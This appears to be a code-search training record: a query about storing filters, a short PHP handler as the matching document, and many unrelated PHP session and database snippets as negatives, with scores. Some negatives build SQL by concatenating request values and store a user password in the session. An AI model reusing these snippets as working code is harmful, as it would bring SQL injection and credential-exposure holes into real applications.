EXISTS $this->table_sessions(\n\t\t\t\t\tnonce\t\tchar(40),\n\t\t\t\t\tsite\t\tvarchar(255),\n\t\t\t\t\tdata\t\tvarchar(255),\n\t\t\t\t\thost\t\tvarchar(255),\n\t\t\t\t\tip\t\t\tvarchar(16),\n\t\t\t\t\t\".$this->db->identifier('when').\" timestamp not null default NOW()\n\t\t\t\t)\n\t\t\t\");\n\t\t\t$change++;\n\t\t}\n\n\t\tif ( $change ) {\n\t\t\tdb_clear_meta( $this->db );\n\t\t\tdb_get_tables_meta( $this->db );\n\t\t}\n\n\t\treturn $this->db;\n\t}", "function buildlangfileRSVTb($dbinuse){\t\t\t\t\t\t\t\t\t\t\t\t\t\n $sql_available_tables=\"show tables\"; \n $results=mysql_query( $sql_available_tables);\n\t$cntreg=mysql_num_rows($results); \n\nif ($cntreg>0){ \n \n while($count=mysql_fetch_array($results)){ \n\t\t\t$table_name=$count[0]; \n\t\t\t//echo $table_name.'<br>'; \n\t\t\t$sqltbcols=\"Show columns from $table_name\"; \n\t\t\t$results_tbc=mysql_query($sqltbcols);\n\t $cnt_cols=mysql_num_rows($results_tbc); \n\t\t\twhile($count_cls=mysql_fetch_array($results_tbc)){\n\t\t\t $table_col_Name=$count_cls['Field']; \n\t\t\t $table_col_Type=$count_cls['Type']; \n\t\t\t $table_col_Null=$count_cls['Null'];\n\t\t\t \n\n \n\t\t\t} echo '$_SESSION'.\"['\".$table_name.\"']='\".$table_name.\"'; <br>\";\n \n} //end while\n} //end if\n}", "public function save(\n\t $type = 'SYSTEM'\n\t )\n\t{\n\t}", "function createSession($param){\r\n $table = $param[\"rescuetype\"];\r\n $id = $param[\"rescueid\"];\r\n $sql = \"SELECT * FROM $table WHERE id = $id\";\r\n \r\n \r\n \r\n try{\r\n //Get DB Object........\r\n $db = new db();\r\n \r\n //Connect............\r\n $db = $db->connect();\r\n\r\n //Prepared statement.......\r\n $stmt = $db->prepare($sql); \r\n $stmt->execute();\r\n $data = $stmt->fetchAll();\r\n \r\n // echo\"create session me hu\";\r\n \r\n if($data){\r\n foreach($data as $row);\r\n // $row = $data[0];\r\n $_SESSION[\"centerName\"] = $row[\"centerName\"];\r\n $_SESSION[\"lat\"] = $row[\"locLatitude\"];\r\n $_SESSION[\"lng\"] = $row[\"locLongitude\"];\r\n $_SESSION[\"contactNo\"] = $row[\"contactNo\"];\r\n $_SESSION[\"address\"] = $row[\"address\"];\r\n $_SESSION[\"city\"] = $row[\"city\"];\r\n $_SESSION[\"pincode\"] = $row[\"pincode\"];\r\n $_SESSION[\"state\"] = $row[\"state\"];\r\n $_SESSION[\"rescueid\"] = $id; //rescue table se rescueCenter ka id\r\n $_SESSION[\"unique_key\"] = $param[\"unique_key\"]; //Userid from users table\r\n $_SESSION[\"rescueCenterType\"] = $table;\r\n\r\n // echo(\"session ko dikha rha hu\".$_SESSION[\"rescueCenterType\"]);\r\n\r\n //notId for notifications table.......\r\n if($table == \"hospital\"){\r\n $_SESSION[\"notId\"] = \"hosp\".$id;\r\n }elseif($table == \"policestation\"){\r\n $_SESSION[\"notId\"] = \"ps\".$id;\r\n }elseif($table == \"carworkshop\"){\r\n $_SESSION[\"notId\"] = \"cws\".$id;\r\n }elseif($table == \"civiloffice\"){\r\n $_SESSION[\"notId\"] = \"cvof\".$id;\r\n }\r\n\r\n //contact number split kiye\r\n $contact = json_decode($row[\"contactNo\"], false);\r\n // $_SESSION[\"mobNo\"] = $contact->Mobile;\r\n // $_SESSION[\"phoneNo\"] = $contact->Phone;\r\n \r\n\r\n return true;\r\n \r\n }else{\r\n echo\"false bheja\";\r\n return false;\r\n }\r\n\r\n\r\n } catch(PDOException $e){\r\n echo\"idhar err hai \".$e;\r\n return \"err\";\r\n }\r\n\r\n }", "public function StoreToDo() {\n //Initiate Session with New Todo\n $this->store_todo = new Session($this->todo);\n }", "private static function Store($key) {\n\t\n\t\t# initial data\n\t\t$data = array(\n\t\t\t\"headers\" => $_SERVER,\n\t\t\t\"flashdata\" => array()\n\t\t);\n\t\t\n\t\t# perform insert\n\t\tdatabase()->start_query('sessions', 'INSERT')->set(array(\n\t\t\t\"key\" => $key,\n\t\t\t\"method\" => 'cookie',\n\t\t\t\"_data\" => serialize($data),\n\t\t\t\"signature\" => self::get_signature(),\n\t\t))->run();\n\t}", "function add_form_input_values_to_session($dns_type)\n{\n\n $standard_fields = array('dns_type', 'name', 'content', 'ttl', 'note');\n $dns_type = strtoupper($dns_type);\n\n $_SESSION[FORM_INPUT] = array();\n foreach ($standard_fields as $field) {\n $_SESSION[FORM_INPUT][$field] = getTextFromForm($field);\n }\n // Kvoli prevodu na upper case sa zopakuje pridanie\n $_SESSION[FORM_INPUT]['dns_type'] = strtoupper($dns_type);\n\n if ($dns_type === 'MX') {\n $_SESSION[FORM_INPUT]['prio'] = getTextFromForm('prio');\n }\n\n\n if ($dns_type === 'SRV') {\n $_SESSION[FORM_INPUT]['prio'] = getTextFromForm('prio');\n $_SESSION[FORM_INPUT]['port'] = getTextFromForm('port');\n $_SESSION[FORM_INPUT]['weight'] = getTextFromForm('weight');\n }\n\n // error_log('SESSION values: ' . print_r($_SESSION[FORM_INPUT], true));\n return $_SESSION[FORM_INPUT];\n}", "public static function storeSession(string $key, $value): void\n {\n $GLOBALS['TSFE']->fe_user->setAndSaveSessionData($key, $value);\n }", "function insertNewTab($key_info, $business_info, $type, $userId, $business_id, $conn) {\n if ($type==='key') {\n foreach ($key_info as $key => $value) {\n echo strtolower($value['description']).'<br/>';\n echo $business_info[$key].'<br/>';\n// $sql = 'UPDATE tbl_business SET `'.strtolower($value['description']).'` = \"'. $business_info[$key] .'\" WHERE u_id= \"'.$userId.'\" AND business_id= \"'.$business_id.'\"';\n// mysqli_query($conn, $sql);\n }\n }\n if ($type==='query') {\n foreach ($business_info as $key=>$value) {\n $sql = \"UPDATE tbl_business SET `\".$key.\"`='\".$value.\"' WHERE u_id='\".$userId.\"' AND business_id='\".$business_id.\"'\";\n mysqli_query($conn, $sql);\n }\n }\n }", "function updateUserSessions() {\n try {\n DB::execute(\"ALTER TABLE \" . TABLE_PREFIX . \"user_sessions ADD interface enum('default', 'phone', 'tablet') NOT NULL DEFAULT 'default'\");\n } catch(Exception $e) {\n return $e->getMessage();\n } // try\n\n return true;\n }", "function SessionSetUser($UserRow){\r\n\r\n\t $_SESSION[\"UserTypeUUID\"]=\t$UserRow[\"UserTypeUUID\"];\r\n\t $_SESSION[\"UserTypeName\"]=\t$UserRow[\"UserTypeName\"];\r\n\t $_SESSION[\"UserUUID\"]=\t\t$UserRow[\"UserUUID\"];\r\n\t $_SESSION[\"UserName\"]=\t\t$UserRow[\"UserName\"];\r\n\t $_SESSION[\"UserEmail\"]=\t\t$UserRow[\"UserEmail\"];\r\n\t $_SESSION[\"UserPassword\"]=\t$UserRow[\"UserPassword\"];\r\n\t $_SESSION[\"FirstName\"]=\t\t$UserRow[\"FirstName\"];\r\n\t $_SESSION[\"LastName\"]=\t\t$UserRow[\"LastName\"];\r\n\t}", "private function setSessionData(){\n $criteria = $this->input->post('criteria');\n $location = $this->input->post('searchKeyword',TRUE);\n $calendarDay =$this->input->post('timecon',TRUE);\n\n if(count($criteria)==2){\n $this->calendarCriteria=$this->HomeModel->timeconstraint_session_handler($calendarDay);\n $this->locationCriteria=$this->HomeModel->keyword_session_handler($location);\n }else if(count($criteria)==1){\n if($criteria[0]=='calendarDay'){\n $this->calendarCriteria=$this->HomeModel->timeconstraint_session_handler($calendarDay);\n }else{\n $this->locationCriteria=$this->HomeModel->keyword_session_handler($location);\n }\n }\n }", "public function run()\n {\n DB::table('crypto_wallet_types')->insert(['wallet_type' => 'BTC']);\n DB::table('crypto_wallet_types')->insert(['wallet_type' => 'ETH']);\n }", "function store()\n {\n $this->dbInit();\n query( \"INSERT INTO PhoneType set Name='$this->Name'\" );\n }", "function db_store_session($private_hash, $session_id) {\n \n global $dbh;\n \n $sql = 'INSERT INTO sessions (sessionID, privateHash) VALUES (?,?)';\n $sth = $dbh->prepare($sql);\n $sth->bindParam(1, $session_id, PDO::PARAM_STR);\n $sth->bindParam(2, $private_hash, PDO::PARAM_STR);\n\n return $sth->execute();\n \n}", "public function run()\n {\n DB::table('record_issuer_types')->insert([\n 'id' => self::BILLORG_ID,\n 'type' => 'billing organization',\n ]);\n DB::table('record_issuer_types')->insert([\n 'id' => self::BANK_ID,\n 'type' => 'bank',\n ]);\n }", "function set_message($type, $message)\n{\n $_SESSION[$type] = $message;\n $_SESSION[$type . '_time'] = time();\n}", "public function get_type_session($username){\r\n\r\n $info = $this->db->get_where('user', array('khojeko_username' => $username));\r\n $row = $info->row();\r\n $id = 'type';\r\n $id = $row->$id;\r\n return $id;\r\n }", "public function store(Request $request)\n {\n $validator = Validator::make($request->all(), [\n 'tableUuid' => 'required',\n 'tableName' => 'required',\n 'name' => '',\n 'length' => '',\n 'decimal' => '',\n 'enum' => 'array',\n 'optionValues' => 'array'\n ]);\n\n // Check Table\n $user = Auth::guard()->user();\n $table = Table::where('uuid','=',$request->get('tableUuid'))->first();\n if ($table==null) {\n return abort(404);\n }\n\n $schema = $table->schema;\n if ($schema->user_id != $user->id) {\n return abort(404);\n }\n\n $validator->validate();\n\n $field = new Field;\n $field->uuid = \\Uuid::generate()->string;\n $field->type = $request->get('type');\n $field->name = $request->get('name');\n $field->length = $request->get('length');\n $field->decimal = $request->get('decimal');\n $field->enum = json_encode($request->get('enum'));\n $field->attrib_increment = $request->get('optionValues.increment',0);\n $field->attrib_unsigned = $request->get('optionValues.unsigned',0);\n $field->attrib_primary = $request->get('optionValues.primary',0);\n $field->attrib_index = $request->get('optionValues.index',0);\n $field->attrib_nullable = $request->get('optionValues.nullable',0);\n $field->attrib_unique = $request->get('optionValues.unique',0);\n $field->attrib_fillable = $request->get('optionValues.fillable',0);\n $field->attrib_guarded = $request->get('optionValues.guarded',0);\n $field->attrib_visible = $request->get('optionValues.visible',0);\n $field->attrib_hidden = $request->get('optionValues.hidden',0);\n $field->attrib_foreign = $request->get('optionValues.foreign',0);\n $field->table_id = $table->id;\n $field->order = $table->fields()->count()+1;\n $field->save();\n\n // if ($request->get('optionValues.foreign',0)) {\n // $field->attrib_foreign_field_id = $request->get('optionValues.foreignValue.fieldUuid');\n // $field->attrib_foreign_on_delete = $request->get('optionValues.foreignValue.onDelete');\n // $field->attrib_foreign_on_update = $request->get('optionValues.foreignValue.onUpdate');\n // }\n\n $collection = [\n 'uuid' => $field->uuid,\n 'name' => $field->name,\n 'type' => $field->type,\n 'length' => $field->length,\n 'default' => $field->default,\n 'enum' => $request->get('enum'),\n 'options' => $request->get('optionValues'),\n 'order' => $field->order,\n ];\n\n return response()->json(['responseCode'=>200, 'responseItem'=>$collection]);\n\n // tableUuid:null,\n // tableName:null,\n // name:null,\n // type:null,\n // typeDescription:null,\n // length:null,\n // decimal:null,\n // default:null,\n // enum:[\"\"],\n // options:{\n // autoIncrementCheck:false,\n // unsignedCheck:false,\n // primaryKeyCheck:false,\n // indexCheck:false,\n // nullableCheck:false,\n // fillableCheck:false,\n // guardedCheck:false,\n // visibleCheck:false,\n // hiddenCheck:false,\n // foreignKeyCheck:false,\n // uniqueCheck:false,\n\n // nameVisibility:false,\n // lengthVisibility:false,\n // lengthDecimalVisibility:false,\n // arrayVisibility:false,\n // defaultValueVisibility:false,\n // },\n // optionValues:{\n\n // }\n }", "function sessionManager($id, $email, $pwd, $accessLevel, $userType){\n\t\t\t$sessionData = array('userID'=>$id,'email'=>$email, 'password'=>$pwd,'accessLevel'=>$accessLevel,'userType'=>$userType,'logged_in' => TRUE);\n\t\t\t$this->session->set_userdata($sessionData);\n\t\t}", "public function store(Request $request)\n {\n $tables = new Table([\n 'nama' => $request->get('nama'),\n 'password' => $request->get('password'),\n ]);\n\n $tables->save();\n return view('app.create');\n \n }", "public function setType(){\n switch($this->security){\n case 'H':\n case 'L':\n case '0.0':\n $typeId = 2; // k-space\n break;\n case 'A':\n $typeId = 3; // a-space\n break;\n default:\n $typeId = 1; // w-space\n }\n\n /**\n * @var $type MapTypeModel\n */\n $type = $this->rel('typeId');\n $type->getById($typeId);\n $this->typeId = $type;\n }", "public function setTable($table);", "protected function manageSession()\n {\n $this->session = new WebsiteSession();\n foreach ($this->eventRequest->getSession() as $key => $value) {\n\n if ($key == 'createdAt') {\n $value = time();\n }\n\n $method = 'set' . ucwords($key);\n if (method_exists($this->session, $method)) {\n $this->session->$method($value);\n }\n }\n }", "public function saveToDb()\n\t{\n\t\t$db = \\App\\Db::getInstance('admin');\n\t\t$tablesData = array_intersect_key($this->getData(), $this->changes);\n\t\tforeach ($tablesData as $key => $value) {\n\t\t\t$db->createCommand()->update($this->baseTable, ['value' => $value], ['type' => $this->type, 'name' => $key])->execute();\n\t\t}\n\t}", "function postCreateTable(){\n\t}", "function hook_session() {\n session_set_save_handler(array($this, '_open'),\n array($this, '_close'),\n array($this, '_read'),\n array($this, '_write'),\n array($this, '_destroy'),\n array($this, '_clean'));\n }", "public function run()\n {\n $types = array(\n [\n 'type_name' => \"[hr]\", \n ],\n [\n 'type_name' => \"[eur]\", \n ],\n [\n 'type_name' => \"[op]\", \n ] );\n DB::table('service_unit_types')->insert($types);\n }", "public function setStore($table, $data)\n {\n $columns = implode(\", \",array_keys($data));\n\n $tempValues = array_values($data);\n\n foreach ($tempValues as $key => $data) {\n // ----pastikan data yang akan disimpan aman---------\n $tempValues[$key] = \"'\".$this->conn->real_escape_string($data).\"'\";\n } \n\n $values = implode(\", \",$tempValues); \n\n $query = \"INSERT INTO $table ($columns) VALUES ($values)\";\n // ------eksekusi query yang sudah di inginkan----\n $result = $this->conn->query($query);\n // ------cek dan beri nilai bali apakah true atau false--------\n if ($result) {\n return True;\n }else{\n return False;\n }\n }", "public function setdeliverytype()\n {\n $this->extend(\"onBeforeSetDeliveryType\");\n\n $type = $this->request->param(\"ID\");\n \n if ($type && in_array($type, array(\"deliver\", \"collect\"))) {\n Session::set(\"Checkout.Delivery\", $type);\n Session::clear(\"Checkout.PostageID\");\n }\n \n $this->extend(\"onAfterSetDeliveryType\");\n \n $this->redirectBack();\n }", "function action_add() {\n\t\t\t$data = UTIL::get_post('data');\n\t\t\t$id = (int)$data['add_id'];\n\t\t\t$table = $data['add_table'];\n\t\t\t\n\t\t\t$choosen = $this->SESS->get('objbrowser', 'choosen');\n\t\t\t$choosen[$table][$id] = $id;\n\t\t\t$this->SESS->set('objbrowser', 'choosen', $choosen);\n\t\t}", "public function store(Request $request)\n {\n $request->validate([\n 'name' => 'required',\n 'status_id' => 'required'\n ]); \n\n $table = new Table($request->all());\n $table->store();\n $hotel = (new Hotel)->getHotel();\n $table = $hotel->tables()->find($table->id);\n\n return response()->json([\n 'data' => $table\n ], 201);\n }", "public function setTable($tablename){\r\n$this->tablename=$tablename;\r\n}" ]
[ "0.58655494", "0.5815598", "0.5668447", "0.54742116", "0.54737794", "0.54338473", "0.5354235", "0.5272012", "0.52500653", "0.51766515", "0.51422113", "0.51320744", "0.51278996", "0.5120865", "0.51063466", "0.50786483", "0.506061", "0.5027846", "0.501251", "0.49985617", "0.49649993", "0.4951281", "0.49466312", "0.4940683", "0.48803404", "0.48760253", "0.4875055", "0.48633865", "0.48632056", "0.48431438", "0.48334962", "0.4807769", "0.47803378", "0.4779342", "0.47768527", "0.4766667", "0.47662535", "0.47515345", "0.47504947", "0.47453713", "0.47427744", "0.47380763", "0.47372895", "0.4737216", "0.47346982", "0.47319138", "0.472589", "0.47206697", "0.47184622", "0.47180128", "0.4707071", "0.47016987", "0.46885863", "0.467151", "0.46700588", "0.46657634", "0.46623433", "0.46557888", "0.46530804", "0.46492118", "0.46416503", "0.4641224", "0.4639642", "0.4634329", "0.4632627", "0.46306962", "0.46189865", "0.46178964", "0.46164995", "0.46152556", "0.46128213", "0.46088418", "0.4602999", "0.46014857", "0.46013847", "0.45981765", "0.4597127", "0.45955345", "0.4593099", "0.45928463", "0.4591885", "0.4589112", "0.45820904", "0.45790222", "0.4573521", "0.4571501", "0.4571009", "0.45688903", "0.45642596", "0.45622543", "0.45589843", "0.45571432", "0.45553282", "0.45530364", "0.45521307", "0.45482415", "0.45472544", "0.45412642", "0.4536373", "0.45360857" ]
0.63837415
0
Handler for storing selected area.
public function handleStoreArea($area) { $session = $this->session->getSection('map'); $session->area = $area; $this->terminate(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store(storeArea $request)\n {\n Area::create(request()->all());\n\n return redirect('/catalogos/areas');\n }", "public function saveArea($area, $request) {\n $area->name = $request->name;\n $area->country = $request->country;\n $area->zip_code = $request->zip_code;\n $area->save();\n }", "public function save(BookableArea $bookableArea);", "public function postArea($areaDetail)\n {\n \n }", "public function store(AreaRequest $request)\n {\n $input = $request->all();\n\n $area = new Area($input);\n $area->save();\n\n return redirect(route('admin.areas.index'))->with([ 'message' => 'Area creado exitosamente!', 'alert-type' => 'success' ]);\n }", "public function store(StoreArea $request)\n {\n $area = Area::create($request->validated());\n Session::flash('success', \"Area Added Successfully\");\n return response()->json($area);\n //\n }", "function wp_ajax_menu_locations_save()\n {\n }", "function store(){\n update_option( $this->option_name, $this->settings );\n }", "public function store(AreaRequest $request)\n {\n $area = new Area();\n $area->nome = $request->input('nome');\n $area->save();\n return redirect()->route('area.create')->\n with('success', ['Área cadastrado com sucesso!']);\n }", "public function store(CreateContentAreaRequest $request)\n {\n $request['modified_by'] = Auth::id();\n Auth::user()->areas()->save(new Content_Area($request->all()));\n\n return redirect('admin/content_areas');\n }", "public function additionArea()\n {\n global $dbh;\n $sql = $dbh->prepare(\"INSERT INTO `area`(`nameaa`, `nameae`, `groupa`, `deleta`)VALUES('$this->nameaa' ,'$this->nameae' ,'$this->groupa' ,'$this->deleta')\");\n $result = $sql->execute();\n $id = $dbh->lastInsertId();\n return array ($result,$id);\n }", "public function store(Request $request)\n {\n $user = Auth::user();\n\n $this->validate($request, array(\n 'area' => 'required|unique:areas,area',\n ));\n\n $area = new Area;\n $area->area = strtoupper($request->area);\n $area->created_by = $user->username;\n $area->save();\n\n return redirect()->back()->with('status-success','Data berhasil disimpan.');\n }", "public function set_local_area($local_area)\r\n\t {\r\n\r\n\t }", "public function save(BookableArea $bookableArea)\n {\n $this->_em->persist($bookableArea);\n $this->_em->flush();\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store(AreaStoreRequest $request)\n {\n try {\n $request->save($this->repository);\n return redirect()->back()->with('success', 'Record successfully created');\n } catch (\\Exception $e) {\n return redirect()->back()->with('error', $e->getMessage());\n }\n }", "public function save()\n {\n $error = false;\n\n // Save the not language specific part\n $pre_save_usage_area = new self($this->usage_area_id, $this->clang_id);\n\n // save priority, but only if new or changed\n if ($this->priority !== $pre_save_usage_area->priority || 0 === $this->usage_area_id) {\n $this->setPriority();\n }\n\n if (0 === $this->usage_area_id || $pre_save_usage_area !== $this) {\n $query = \\rex::getTablePrefix() .'d2u_machinery_usage_areas SET '\n .\"category_ids = '|\". implode('|', $this->category_ids) .\"|', \"\n .\"priority = '\". $this->priority .\"' \";\n\n if (0 === $this->usage_area_id) {\n $query = 'INSERT INTO '. $query;\n } else {\n $query = 'UPDATE '. $query .' WHERE usage_area_id = '. $this->usage_area_id;\n }\n\n $result = \\rex_sql::factory();\n $result->setQuery($query);\n if (0 === $this->usage_area_id) {\n $this->usage_area_id = (int) $result->getLastId();\n $error = $result->hasError();\n }\n }\n\n if (false === $error) {\n // Save the language specific part\n $pre_save_usage_area = new self($this->usage_area_id, $this->clang_id);\n if ($pre_save_usage_area !== $this) {\n $query = 'REPLACE INTO '. \\rex::getTablePrefix() .'d2u_machinery_usage_areas_lang SET '\n .\"usage_area_id = '\". $this->usage_area_id .\"', \"\n .\"clang_id = '\". $this->clang_id .\"', \"\n .\"name = '\". addslashes($this->name) .\"', \"\n .\"translation_needs_update = '\". $this->translation_needs_update .\"' \";\n\n $result = \\rex_sql::factory();\n $result->setQuery($query);\n $error = $result->hasError();\n }\n }\n\n return !$error;\n }", "public function store()\n\t {\n\t //\n\t }", "public function store(Request $request)\n {\n //\n $this->saveArea(new Area, $request);\n return redirect('admin/area')->with('status', __('string.created_success'));\n }", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\n {\n $region = OperatingRegion::create(Input::all());\n\n if ($region->save()) {\n return Redirect::route('admin.operating-regions.show', $region->id)\n ->withMessage('The region has been created successfully.');\n } else {\n return Redirect::route('admin.operating-regions.create')\n ->withError('The item could not be saved. ' .\n 'See below for more information.')\n ->withErrors($region->errors())\n ->withInput();\n }\n }", "public function getAreaId()\n {\n return $this->area;\n }", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
[ "0.5894409", "0.58911186", "0.57752055", "0.55379725", "0.53908646", "0.53373325", "0.5318962", "0.5270495", "0.5225977", "0.51852036", "0.516793", "0.5166365", "0.5146158", "0.5140058", "0.51282996", "0.51018804", "0.50926244", "0.5088665", "0.5034673", "0.5023651", "0.5023651", "0.5023651", "0.5021965", "0.5019671", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528", "0.5017528" ]
0.6913389
0
Handler for storing filters.
public function handleStoreFilters($filters) { $session = $this->session->getSection('map'); $session->filters = $filters; $this->terminate(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function storeAll()\n {\n foreach (self::$_activeFilters as $target => $filter) {\n $filter->store();\n }\n }", "protected function processFilters()\n {\n $this->filters = [];\n foreach ($this->params as $key => $value) {\n $this->parser->setAlias('_' . $this->contentType);\n $filter = $this->parser->getFilter($key, $value);\n if ($filter) {\n $this->addFilter($filter);\n }\n }\n }", "protected function filterStore()\n\t{\n\t\tif ($this->arParams[\"SAVE_IN_SESSION\"] == \"Y\" && strlen($_REQUEST[\"filter\"]))\n\t\t{\n\t\t\t$_SESSION[\"spo_filter_id\"] = $_REQUEST[\"filter_id\"];\n\t\t\t$_SESSION[\"spo_filter_date_from\"] = $_REQUEST[\"filter_date_from\"];\n\t\t\t$_SESSION[\"spo_filter_date_to\"] = $_REQUEST[\"filter_date_to\"];\n\t\t\t$_SESSION[\"spo_filter_status\"] = $_REQUEST[\"filter_status\"];\n\t\t\t$_SESSION[\"spo_filter_payed\"] = $_REQUEST[\"filter_payed\"];\n\t\t\t$_SESSION[\"spo_filter_history\"] = $_REQUEST[\"filter_history\"];\n\t\t}\n\t}", "public function handleFilters()\n\t{\n\t\t$profile = $this->profile;\n\n\t\t$data = Input::get('filteroption');\n\t\tforeach($data as &$value)\n\t\t{\n\t\t\t$value = (array) $value;\n\t\t}\n\n\t\t$this->profileService->syncProfileProperties($profile, $data);\n\n\t\treturn Redirect::action('datacollector.controller@index');\n\t}", "public function register_filters() {\n\n\t\t}", "abstract public function prepareFilters();", "private function filters() {\n\n\n\t}", "public function saveItemFilters()\n {\n $variables = $this->getAllSubmittedVariablesByName();\n\n $categories = array();\n\n foreach ($variables as $key => $value) {\n if (strstr($key, 'category|') && !empty($value)) {\n $categories[] = $value;\n }\n }\n\n $filter = ItemFilterModel::model()->find('play_id = :playId', array(\n ':playId' => $this->playid\n ));\n $method = 'update';\n\n if (empty($filter)) {\n $filter = new ItemFilterModel();\n $method = 'insert';\n }\n\n $filter->play_id = $this->playid;\n $filter->price_from = $variables['price_from'];\n $filter->price_to = $variables['price_to'];\n $filter->tags = json_encode($this->sessionGet('filter_tags'));\n $filter->categories = json_encode($categories);\n $filter->$method();\n\n if (isset($variables['filter_distance'])) {\n $this->saveVariable('filter_distance', $variables['filter_distance']);\n }\n\n return $filter;\n }", "function add_filters()\n {\n }", "public function addFilters()\n {\n }", "protected static function loadFiltersData()\n {\n self::$filtersData = (array) $GLOBALS['TSFE']->fe_user->getKey('ses', 'filters');\n }", "abstract protected function getFilters();", "public function store(FilterRequest $request) {\n\n $result = $this->filters_rep->addFilter($request);\n\n if(is_array($result) && !empty($result['error'])) {\n return back()->withErrors($result);\n }\n\n return redirect('/admin/filter')->with($result);\n\n\n }", "protected static function filtes()\n {\n /*\n * The filters fetches are transported\n * to router Bus calls\n **/\n }", "public function createFilter();", "private function defineFilters() {\n\n // init local filters variable as empty array\n $filters = [];\n\n // parse each filter to apply\n // and add the valid once to filters\n\n // filters by name\n if (isset($_GET['s'])) {\n\n $filters['name'] = $_GET['s'];\n\n }\n\n // filter by categories\n if (isset($_GET['c'])) {\n\n $categories = explode(\"_\", $_GET['c']);\n foreach ($categories as $key => $value) {\n if (is_numeric($value)) {\n $filters['categories'][] = $value;\n }\n }\n\n }\n\n // filter by areas\n if (isset($_GET['a'])) {\n\n $areas = explode(\"_\", $_GET['a']);\n foreach ($areas as $key => $value) {\n if (is_numeric($value)) {\n $filters['areas'][] = $value;\n }\n }\n\n }\n\n // Check if any filter has been set\n\n if (count($filters)>0) {\n\n $this->filters = $filters;\n return true;\n\n }\n\n\n return false;\n\n }", "protected function registerFilterChain()\n\t{\n\t\t//filters\n\t\t$this->filters['deserial'] = 'deserializationFilter';\n\t\t$this->filters['batch'] = 'batchProcessFilter';\n\t\t$this->filters['serialize'] = 'serializationFilter';\n\t}", "private function store()\n {\n $db = 